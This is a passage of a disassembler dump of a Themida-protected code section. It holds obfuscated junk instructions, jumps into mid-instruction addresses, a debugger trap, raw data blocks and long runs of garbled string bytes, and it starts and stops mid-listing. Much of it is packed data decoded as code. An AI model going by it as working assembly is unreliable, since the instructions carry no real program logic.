--------------------------------------------------------------------------- and [edx-5Ah], cl fcomp qword ptr [edi] push edx loc_6109BE: ; CODE XREF: Themida_:006109E4j sbb [edi-4A2A01Bh], cl mov byte ptr [edi], 40h jnb short near ptr loc_610A3D+2 cmc pop ecx pop esi jno loc_6109D8 pusha pusha popa push ebx pop eax popa loc_6109D8: ; CODE XREF: Themida_:006109CCj pusha jmp loc_6109E6 ; --------------------------------------------------------------------------- dw 1DB6h dd 5C7EE93h ; --------------------------------------------------------------------------- jno short loc_6109BE loc_6109E6: ; CODE XREF: Themida_:006109D9j pusha jz $+6 popa popa mov bx, di jg loc_610A00 jl loc_610A00 push ecx pop esi loc_610A00: ; CODE XREF: Themida_:006109F2j ; Themida_:006109F8j movzx edx, si mov eax, 1CD42586h mov edi, 769ADD23h pusha and ebx, 7CA94A29h mov eax, ebx popa mov bx, 50D0h mov si, 0A6C3h mov al, 87h mov si, 521Bh jmp loc_610A32 ; --------------------------------------------------------------------------- dw 22D2h dd 0C8B70C3Fh db 0DEh, 0A4h ; --------------------------------------------------------------------------- loc_610A32: ; CODE XREF: Themida_:00610A25j and edx, 16997D4Ch mov eax, 36299295h loc_610A3D: ; CODE XREF: Themida_:006109C7j mov esi, 6964D5C8h jb loc_610A60 jmp loc_610A60 ; --------------------------------------------------------------------------- db 0A6h, 0F8h, 0D8h dd 9A05965Fh, 419F8AEAh, 954F37C0h, 647A5330h ; --------------------------------------------------------------------------- loc_610A60: ; CODE XREF: Themida_:00610A42j ; Themida_:00610A48j mov cl, 12h push eax xor eax, 0FC25CEEh pop edx movzx eax, cx mov cx, 130Eh clc ja $+6 jz loc_610A84 push ecx mov ax, 0B7A0h pop esi loc_610A84: ; CODE XREF: Themida_:00610A78j stc clc sub dl, 84h sbb di, 0A0D1h mov al, 83h mov edi, edx movsx edx, ax and edi, 34C9F839h jnz loc_610AA9 jo loc_610AA9 mov eax, edi loc_610AA9: ; CODE XREF: Themida_:00610A9Bj ; Themida_:00610AA1j or cl, 0A7h mov ebx, ecx cmc sub eax, 402BC94Ch call near ptr loc_610AC2+3 rcr byte ptr [eax-3EFE1651h], 1 jecxz short near ptr loc_610ACE+1 loc_610AC2: ; CODE XREF: Themida_:00610AB5p mov eax, 8B66C50Eh mov dword ptr [ebx+0Fh], 1A85h loc_610ACE: ; CODE XREF: Themida_:00610AC0j add al, ch adc [eax], al ; --------------------------------------------------------------------------- dw 0 dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 4963BF66h dd 10E9505Bh, 99000000h, 0C075B326h, 0F78D595Bh, 0A71312A8h dd 58E5B71Fh, 96C08166h, 3ABB6627h, 0F08B6656h, 0FD08B66h dd 32BFFAB7h, 0B0477F4Ch, 0F8B70F69h, 2860FF5h, 8B000000h dd 4924BEFEh, 8B606769h, 12E9C6h, 0AE7A0000h, 7C8214B1h dd 726D567Ch, 500EDD41h, 1F90B481h, 0C7C78061h, 38C88166h dd 0AE96048h, 0B9000000h, 10F0E90Ch, 0EA3775A8h, 14E9A5h dd 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h, 5D1D503Ah dd 60612121h, 0AE956h, 5BFE0000h, 85A06BEFh, 187CBE95h dd 0B3BB6158h, 0F367ADFh, 381h, 0C8B70F00h, 0FC3B0F8h dd 0E881C2B7h, 29CF29D3h, 8003E480h, 81667AE7h, 0E9A4FFE3h dd 9, 8543E2Ah, 0E7FE09EBh, 9E956A9h, 0D4000000h, 56757118h dd 9719FC34h, 42B6F559h, 9870Fh, 8A0F0000h, 3, 0E9DABF0Fh dd 7, 0D0ADED90h, 8B120319h, 0DF8160D7h, 587D2778h, 0DF8061FCh dd 7BE66D5h, 0EA4BB834h, 0D2813F39h, 2FDB26D0h, 0C1C7BA60h dd 816128BDh, 31A7C4EEh, 940ABF2Ch, 0F504A00h, 38Bh, 0FBC68000h dd 8B66515Fh, 0FF95ADFh, 850FCEBFh, 2, 12E8D18Bh, 24000000h dd 0D53B6877h, 28817C3Dh, 9E7D143Ah, 59C083A8h, 0BE974h dd 7B710000h, 0ADDB75F4h, 0F73CC4BEh, 666059E1h, 0A26BF381h dd 8B6661F8h, 6E7B9D7h, 0F50312Dh, 8158C8B7h, 5E4832F0h dd 1089B912h, 4CB07E68h, 13E8h, 0DD356100h, 422E3A5Ah dd 6EAEE137h, 0D6524546h, 7C91323Ah, 7880F59h, 57000000h dd 820627B9h, 0E9605E67h, 0Ch, 0F30DB41Ch, 4F9B87E3h, 5B4148A9h dd 61F9B70Fh, 0EE96CB1h, 0B0000000h, 0D327FE49h, 7E01DC50h dd 27D1C4D9h, 13810F8Ch, 0E9000000h, 0Eh, 35EDA838h, 91656871h dd 0F9EB58CDh, 830F36B3h, 3, 0FCDEB70Fh, 66F81CB5h, 0CA07F281h dd 13E8F5h, 5B7B0000h, 99A0EF4Ah, 5BC25CEDh, 339884D3h dd 74A0B4D1h, 0C7BF0FC9h, 0BE85Eh, 9190000h, 2CB54C2Ch dd 0FBE77058h, 5DA8BE00h, 0B959575Fh, 26E9EA5Bh, 5980B866h dd 66F3B70Fh, 239FE781h, 35CE8166h, 0C88B6615h, 0EE960h dd 0B4360000h, 0D999242Fh, 47F43D9Dh, 0D59B258Dh, 6147EA80h dd 6E6CBB66h, 0E9DFD380h, 10h, 581A90C9h, 0F281665Eh, 6BD1809Ch dd 6EE34C52h, 0ACD28166h, 0BCF4BB02h, 0CE94A32h, 9E000000h dd 0ED479472h, 1345414Ah, 0BBF6EE80h, 38849FDBh, 0F9FCD80h dd 188h, 0BE9FC00h, 50000000h, 5110AFC9h, 3F49929h, 0CF8A1C7Fh dd 38A0FF5h, 0F000000h, 0D48AC2BFh, 0E9F6B70Fh, 0Dh, 616FE882h dd 0F4C86DE4h, 0EE70D60h, 8CBE665Ah, 13EA8135h, 8B73859Eh dd 0E08166F3h, 0FF536AFh, 8166F9BFh, 0E8E211C1h, 0Ah, 0A8724A84h dd 9A766FC7h, 62B76DBDh, 14E95Bh, 70B80000h, 8D329E87h dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0F18B0E8Ah, 880FCE8Bh dd 18h, 0CE8h, 45B05500h, 599F121Ch, 0FAF9B079h, 98E88191h dd 5B0B72C3h, 0FD7B70Fh, 0EE80D8BFh, 8880FAFh, 0F000000h dd 289h, 0F4FB700h, 682h, 0CDE78100h, 0E920F888h, 5, 26A27AF9h dd 8E0FF6h, 66000000h, 8C5EF081h, 0E82CC380h, 0Ch, 0C8944DACh dd 0B3C8F215h, 0F5D2FC57h, 68C0Fh, 0DF810000h, 55C5D349h dd 3890F5Fh, 66000000h, 0CE9D68Bh, 0E9000000h, 924586C9h dd 0ED3E55BDh, 5677007Bh, 515ED08Bh, 5BC9BF0Fh, 2BE98166h dd 0D88B663Dh, 7E9AAB7h, 0C6000000h, 796477F0h, 8B663A95h dd 28C0FF3h, 8A000000h, 57CE8BDCh, 0B38FE881h, 605814ECh dd 8BFB8B66h, 665361DEh, 5B159CB9h, 0FA8BDE8Bh, 0DE857h dd 0E5710000h, 0AAC9A501h, 7685A360h, 0B8B947F0h, 5CFEA5CAh dd 0DAB65B59h, 8D0Fh, 0F7810000h, 77A3DE05h, 5920CBAh dd 12E848h, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh dd 0C2D9B9Dh, 0F5EFC8Ah, 36B6FFB7h, 226584BEh, 6E90Ah dd 40DC0000h, 0B2DDDD36h, 5E9h, 7430A000h, 0BA66A2D9h dd 0B70F1282h, 11E9D9h, 2CA10000h, 100337A4h, 6FD1BC45h dd 30E07850h, 0E996A634h, 13h, 0C8310D32h, 0E33F9F08h dd 0FA6BF9F3h, 0C8D35F3Bh, 661CD0EAh, 0B8F88BB9h, 3D97F738h dd 7341F081h, 0DE97EC1h, 55000000h, 0BEE2659Bh, 12958193h dd 7CF8BAFEh, 9880Fh, 0B3600000h, 0B840BBA2h, 0F6132CFh dd 0BE9F9B7h, 87000000h, 73EB5A94h, 9B9510B3h, 800F0BA5h dd 12h, 0DE9h, 9FC16500h, 0A294EF7Eh, 91CE8630h, 66F893E0h dd 1158D881h, 58F0Fh, 81660000h, 51E6BAC1h, 13E8h, 8572E900h dd 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h, 0F88B5E5Bh dd 625FB866h, 0BAFEBF0Fh, 63C1AF37h, 8B57E480h, 0F28BF9C8h dd 810F6FB5h, 0 ; --------------------------------------------------------------------------- jmp loc_611045 ; --------------------------------------------------------------------------- lea ebp, [ecx+63366E1Eh] push 6Ah loc_611045: ; CODE XREF: Themida_:00611038j mov ax, 0F528h push eax sbb cl, 0Ch pop ebx clc mov dx, 65ABh pusha jb loc_61105D movzx ebx, di loc_61105D: ; CODE XREF: Themida_:00611054j push edx adc bl, 95h pop edx popa movzx esi, dx and ecx, 975F7A4h js loc_611077 mov ebx, 17CF22C8h loc_611077: ; CODE XREF: Themida_:0061106Cj mov dl, 81h jg loc_611082 mov ax, di loc_611082: ; CODE XREF: Themida_:00611079j jge loc_611094 jp loc_611094 jnb $+6 loc_611094: ; CODE XREF: Themida_:loc_611082j ; Themida_:00611088j mov cx, 0D4CBh cld and di, 9616h jmp loc_6110B1 ; --------------------------------------------------------------------------- push esi nop rcr dword ptr [esi+ecx], 1 mov eax, 0E37D0312h sub [ebx-22h], ecx loc_6110B1: ; CODE XREF: Themida_:0061109Ej movsx eax, cx or cl, 81h call sub_6110CE adc al, [esi] push 0FFFFFF9Fh popa mov ah, 0B0h push 19h inc ebp jnp short loc_611140 mov eax, gs:0D94C90EBh ; =============== S U B R O U T I N E ======================================= sub_6110CE proc near ; CODE XREF: Themida_:006110B7p call near ptr loc_6110DE+3 xchg eax, ebx fcmove st, st(7) sub al, 9Ah sub eax, [ecx+ebx*4-47h] mov cl, ch loc_6110DE: ; CODE XREF: sub_6110CEp db 64h mov ebx, 880F46h sub_6110CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 5A000000h, 8F0F59h, 0F9000000h, 9ED08166h, 0AE978h dd 0E93F0000h, 0C449A6F1h, 0B8553F41h, 14E9h, 6B7C9F00h dd 2839789Fh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 8A5CB611h dd 11E850C6h, 7F000000h, 5F68FBCFh, 0F8CFE6E6h, 7BE68ABBh dd 3ADAB403h, 13E9h, 0E6E17F00h ; --------------------------------------------------------------------------- loc_611140: ; CODE XREF: Themida_:006110C6j shl byte ptr [edx-605DA25Ch], 29h das add ecx, [eax+6Bh] mov ebx, 0B2AE3DBFh pop ebx pop ecx mov ebx, esi adc esi, 547DD624h movsx esi, dx add di, 0AC1h adc dx, 0D29Ch and eax, 4A30EB42h add bx, 0D31Dh or ecx, 6766D1Bh mov dx, 0DD1h mov eax, 26404E6Bh jmp loc_611195 ; --------------------------------------------------------------------------- dw 7BF0h dd 10747925h, 0F05CD6Ch, 0DCB35FDBh db 9Ah ; --------------------------------------------------------------------------- loc_611195: ; CODE XREF: Themida_:00611181j jmp loc_6111A5 ; --------------------------------------------------------------------------- dw 3EBFh dd 0AB6C4697h, 7C0A5E94h ; --------------------------------------------------------------------------- movsb loc_6111A5: ; CODE XREF: Themida_:loc_611195j sbb esi, 45E3831Dh add dl, 2Dh mov ch, 66h pusha cmc mov cx, bx popa or ax, 0ECD5h jmp loc_6111D2 ; --------------------------------------------------------------------------- dd 9448E619h, 96231185h, 86F476A1h, 8707AD9Ah db 4Fh, 0E5h ; --------------------------------------------------------------------------- loc_6111D2: ; CODE XREF: Themida_:006111BBj mov al, 0Ch sbb al, 2Dh movzx edx, cx jmp loc_6111F3 ; --------------------------------------------------------------------------- or dl, [ebx] pop ds add edi, eax pop ebp add ebx, [esi] add bl, 0B1h pop ss xchg eax, edx cmpsd movsb sal byte ptr [eax+7Fh], 63h loc_6111F3: ; CODE XREF: Themida_:006111DAj jbe loc_6111FC or dh, 0D1h loc_6111FC: ; CODE XREF: Themida_:loc_6111F3j jbe loc_611205 movzx eax, si loc_611205: ; CODE XREF: Themida_:loc_6111FCj jl loc_61120C stc loc_61120C: ; CODE XREF: Themida_:loc_611205j jmp loc_61121E ; --------------------------------------------------------------------------- db 36h, 25h, 0F6h dd 0B521A966h, 15A525EFh db 8Dh, 7Bh ; --------------------------------------------------------------------------- loc_61121E: ; CODE XREF: Themida_:loc_61120Cj pusha jg loc_611228 adc bl, 0E9h loc_611228: ; CODE XREF: Themida_:0061121Fj movsx ebx, bx popa push edi or bh, 0C7h pop esi sub ecx, 0CCC76E7h pusha call near ptr loc_611250+1 bound edx, [ecx] add cl, [ecx-5169B90Fh] xchg eax, ebp mov [edx-48h], eax pop ebp out dx, al test eax, 0FDCF11F9h ; CODE XREF: Themida_:0061126Fj loc_611250: ; CODE XREF: Themida_:00611238p jmp near ptr 5B28D164h ; --------------------------------------------------------------------------- clc popa stc jmp loc_61126A ; --------------------------------------------------------------------------- db 0A6h, 82h, 66h dd 0D987C1BDh, 0A0DDAB43h db 47h, 0E9h ; --------------------------------------------------------------------------- loc_61126A: ; CODE XREF: Themida_:00611258j call sub_611278 db 64h jz short near ptr loc_61124B+4 and edi, 54h or esp, 6Ch ; =============== S U B R O U T I N E ======================================= sub_611278 proc near ; CODE XREF: Themida_:loc_61126Ap pop ecx mov edi, 21426B0Fh add si, 0B227h jnz $+6 mov cl, bh call near ptr loc_611293+3 pop esi jge short near ptr loc_6112A1+2 loc_611293: ; CODE XREF: sub_611278+13p call dword ptr [eax-3D7E9950h] sub_611278 endp ; sp-analysis failed sti db 65h pop edx add di, 1BB6h loc_6112A1: ; CODE XREF: sub_611278+19j mov dx, 0DDFDh jg loc_6112AF pusha pusha popa popa loc_6112AF: ; CODE XREF: Themida_:006112A5j jmp loc_6112BD ; --------------------------------------------------------------------------- dd 0E0AC5C97h, 1E860064h ; --------------------------------------------------------------------------- lodsd loc_6112BD: ; CODE XREF: Themida_:loc_6112AFj push eax jb loc_6112C7 add ch, 57h loc_6112C7: ; CODE XREF: Themida_:006112BEj pop eax mov ecx, edi push ecx push ecx mov cx, 212Ah pop esi pop esi sbb dx, 87BFh jmp loc_6112E5 ; --------------------------------------------------------------------------- dd 4557F24Ah, 0C62586A9h db 31h ; --------------------------------------------------------------------------- loc_6112E5: ; CODE XREF: Themida_:006112D7j mov dx, 81AFh push edx jno loc_611301 jmp loc_611301 ; --------------------------------------------------------------------------- std sbb edi, 1684F197h mov esi, 0D24F7EFFh loc_611301: ; CODE XREF: Themida_:006112EAj ; Themida_:006112F0j pop eax mov dx, 3F61h jmp loc_611315 ; --------------------------------------------------------------------------- mov ah, [eax] pop eax test [edi+4EE63791h], cl inc edx loc_611315: ; CODE XREF: Themida_:00611306j sub edx, 10DA9AD2h movsx edx, ax ja loc_611336 jmp loc_611336 ; --------------------------------------------------------------------------- db 0F4h, 0, 0F6h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0B2h, 0C6h, 40h dd 1D30FF70h db 7Dh, 0EDh ; --------------------------------------------------------------------------- loc_611336: ; CODE XREF: Themida_:0061131Ej ; Themida_:00611324j jp loc_61133F movzx ebx, di loc_61133F: ; CODE XREF: Themida_:loc_611336j mov esi, 23A1597Ah clc mov di, 687Eh jmp loc_611357 ; --------------------------------------------------------------------------- dw 0DA0Ch dd 28413722h db 0FAh, 5Ah, 0D1h ; --------------------------------------------------------------------------- loc_611357: ; CODE XREF: Themida_:00611349j mov bh, 89h mov si, ax jmp loc_611371 ; --------------------------------------------------------------------------- db 36h, 0E6h, 5Fh dd 51BB75D4h, 2C64BC22h, 843AB859h ; --------------------------------------------------------------------------- popa loc_611371: ; CODE XREF: Themida_:0061135Cj mov di, dx push esi jmp loc_61137F ; --------------------------------------------------------------------------- mov ebx, 4C389DA2h loc_61137F: ; CODE XREF: Themida_:00611375j pop eax call near ptr loc_611389+3 arpl [esi], si dec esi xchg eax, edx loc_611389: ; CODE XREF: Themida_:00611380p mov eax, 5AF9AF0Dh pusha jle loc_611399 mov dx, 30C4h loc_611399: ; CODE XREF: Themida_:0061138Fj xor bx, 0FC1Bh popa movsx esi, di sbb bh, 64h jmp loc_6113B8 ; --------------------------------------------------------------------------- setalc cmpsd sub al, dl retf 4704h ; --------------------------------------------------------------------------- popf or esp, ebp add edi, esi cmp [esi], eax loc_6113B8: ; CODE XREF: Themida_:006113A5j jge loc_6113D6 jmp loc_6113D6 ; --------------------------------------------------------------------------- db 0F1h dd 0EF18B2BDh, 7499A94Eh, 72635F0h, 6C7DC276h db 48h, 2Ah ; --------------------------------------------------------------------------- loc_6113D6: ; CODE XREF: Themida_:loc_6113B8j ; Themida_:006113BEj mov dl, 7Dh pusha sbb ax, 8555h sbb eax, 6BA3345Fh popa xor dx, 0E257h jl loc_6113F6 xor ecx, 1A007D65h loc_6113F6: ; CODE XREF: Themida_:006113EAj push eax call sub_611403 sbb [edi+1Bh], bh xchg eax, ecx sub esi, ebp cdq ; =============== S U B R O U T I N E ======================================= sub_611403 proc near ; CODE XREF: Themida_:006113F7p cmc pop ecx pop edi mov edx, edi push ecx pop esi js loc_611414 mov ax, 68E7h loc_611414: ; CODE XREF: sub_611403+7j push edi sbb cx, 0F000h pop edx jmp loc_61142A ; --------------------------------------------------------------------------- dd 28B2AD87h, 1E06CE35h db 2Dh, 91h ; --------------------------------------------------------------------------- loc_61142A: ; CODE XREF: sub_611403+18j add edi, 7DDB52CBh call near ptr loc_611442+2 xor eax, 0D42E3438h or cl, [edx+4E432BFh] sub [esi], edx loc_611442: ; CODE XREF: sub_611403+2Dp or [ebx-46h], esi sub_611403 endp ; sp-analysis failed loopne near ptr loc_61147A+3 xor [ebx+59h], eax add cl, 2Bh push ecx mov cx, 0A02Fh pop edx call near ptr loc_611464+3 sub byte ptr [edi+6B4F8DA1h], 40h out dx, eax inc esi jz short loc_61146A movsb loc_611464: ; CODE XREF: Themida_:00611453p mov al, ds:8B596504h cli loc_61146A: ; CODE XREF: Themida_:00611461j mov ecx, edi jmp loc_611477 ; --------------------------------------------------------------------------- db 94h, 2Ch, 29h db 6Eh, 0CFh, 70h ; --------------------------------------------------------------------------- loc_611477: ; CODE XREF: Themida_:0061146Cj movzx edi, si loc_61147A: ; CODE XREF: Themida_:00611445j and eax, 42D9499Eh mov cx, 4984h mov dx, 0C1BFh clc mov dx, 0AEB0h movzx esi, si xor si, 0B525h mov cx, ax jmp loc_6114A7 ; --------------------------------------------------------------------------- db 8Fh, 0A8h, 5Ah dd 0FE33CF27h db 0E9h, 42h, 58h ; --------------------------------------------------------------------------- loc_6114A7: ; CODE XREF: Themida_:00611498j movsx ebx, dx mov eax, 5215676Eh jg loc_6114C4 push edi call near ptr loc_6114C1+1 sbb [ebp+5A324D2Ah], edi loc_6114C1: ; CODE XREF: Themida_:006114B6p sbb [ecx+5Bh], ebx loc_6114C4: ; CODE XREF: Themida_:006114AFj mov edi, 40257175h call sub_6114DF mov eax, ds:1A9C8C6Ch int 3 ; Trap to Debugger jnz short near ptr byte_611519 cmpsd ; --------------------------------------------------------------------------- db 0Fh dd 0C85916Dh ; --------------------------------------------------------------------------- xchg eax, ebp loc_6114DD: ; CODE XREF: Themida_:loc_6114DDj jg short loc_6114DD ; =============== S U B R O U T I N E ======================================= sub_6114DF proc near ; CODE XREF: Themida_:006114C9p call near ptr loc_6114F1+4 lodsd imul eax, [ebp-75h], 0EF79AEF2h cdq add al, cl sahf inc esp loc_6114F1: ; CODE XREF: sub_6114DFp bound ebx, [eax-7BF0580Fh] sub_6114DF endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 59000000h, 0F18B6658h, 9E9h, 4EFE3E00h, 0F40132CAh dd 0B7F5A38Bh, 3265B958h, 12E83FE8h db 0 byte_611519 db 2 dup(0), 70h ; CODE XREF: Themida_:006114D4j dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 12E981h dd 27450000h, 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh dd 118F0F5Ah, 0E9000000h, 0Ch, 54394C70h, 0F23C51ADh, 0B0CE3709h dd 0C3816656h, 605E41BAh, 61DFB70Fh, 0DA16BA66h, 80CA8166h dd 0EE80Eh, 0A6B0000h, 0E0335E7h, 0D39B7B9Eh, 1613B3C4h dd 74EE8160h, 523FDF0Dh, 665A6158h, 0B9E2C4BAh, 4B11C839h dd 0CE9h, 2BAE800h, 29F714E4h, 6E83EE37h, 0BE8C1h, 6070000h dd 0DA4A5C35h, 0DA178970h, 12E93Bh, 715D0000h, 17A04D00h dd 5C1CBBBh, 658328Bh, 207F37F0h, 810FF958h, 4, 5AF18B52h dd 0A832BA66h, 0BEC2C381h, 80600BB1h, 0BF0F06EEh, 0DE8161F6h dd 2C1C0F46h, 0EE8h, 70449400h, 13E31FB3h, 87B5C906h, 0E9AD340Dh dd 10h, 9D788C7h, 0D220C422h, 7278D211h, 0D0861AFEh, 815A505Eh dd 57EEA9DFh, 6E822h, 9F060000h, 62E5482Dh, 0BE85Fh, 832C0000h dd 9DF9ED24h, 0CD04C81Dh, 0E3B1588Dh, 9E9h, 0A8C4EA00h dd 0FF82A9B9h, 0FE85012h, 59000000h, 2872CA8Eh, 5ACF78F5h dd 8A042F94h, 81664469h, 5F51B3E1h, 10E9h, 0EAE99600h dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 0BE85326h, 0F8000000h dd 9AAF878h, 0FB22369Fh, 5850323Dh, 0EA8A585Ah, 5B82DE81h dd 8B666E74h, 0BF0F60D7h, 4D480D7h, 0F2816661h, 0F8608FECh dd 0FED4BF61h, 0B8603308h, 2D415F80h, 3800Fh, 8B660000h dd 860F61DEh, 0Bh, 5840Fh, 81660000h, 0FA592E7h, 289h dd 6084B600h, 0B7F9B70Fh, 0BF0F611Dh, 14E9C3h, 5F1F0000h dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 8166279Ch dd 0E93E0AE0h, 13h, 52152892h, 66EF60C6h, 4A2A6800h, 982215B8h dd 5753DEB1h, 0FE9h, 59B26400h, 78477916h, 0EA02B811h dd 9CB89B42h, 97BF665Eh, 91BE566Bh, 4B5h dup(91BE5674h) dd 0C4h dup(0B69A866Dh) dword_612D20 dd 0Eh dup(0B69A866Dh) db 6Dh byte_612D59 db 86h, 9Ah, 0B6h ; DATA XREF: Themida_:00582D28o ; Themida_:005847C8o ... dd 1219736Dh, 6Bh dup(12197364h), 0EA54FA64h, 2 dup(0EA54FA2Ah) dd 0A3DDFA2Ah, 116h dup(0A3DDB462h), 1Fh dup(242664EBh) dd 0DCDFE9EBh, 1C6h dup(0DCDFEAA5h) aEEEEEEEEEEEEEE db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' ; DATA XREF: Themida_:005A9992o db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 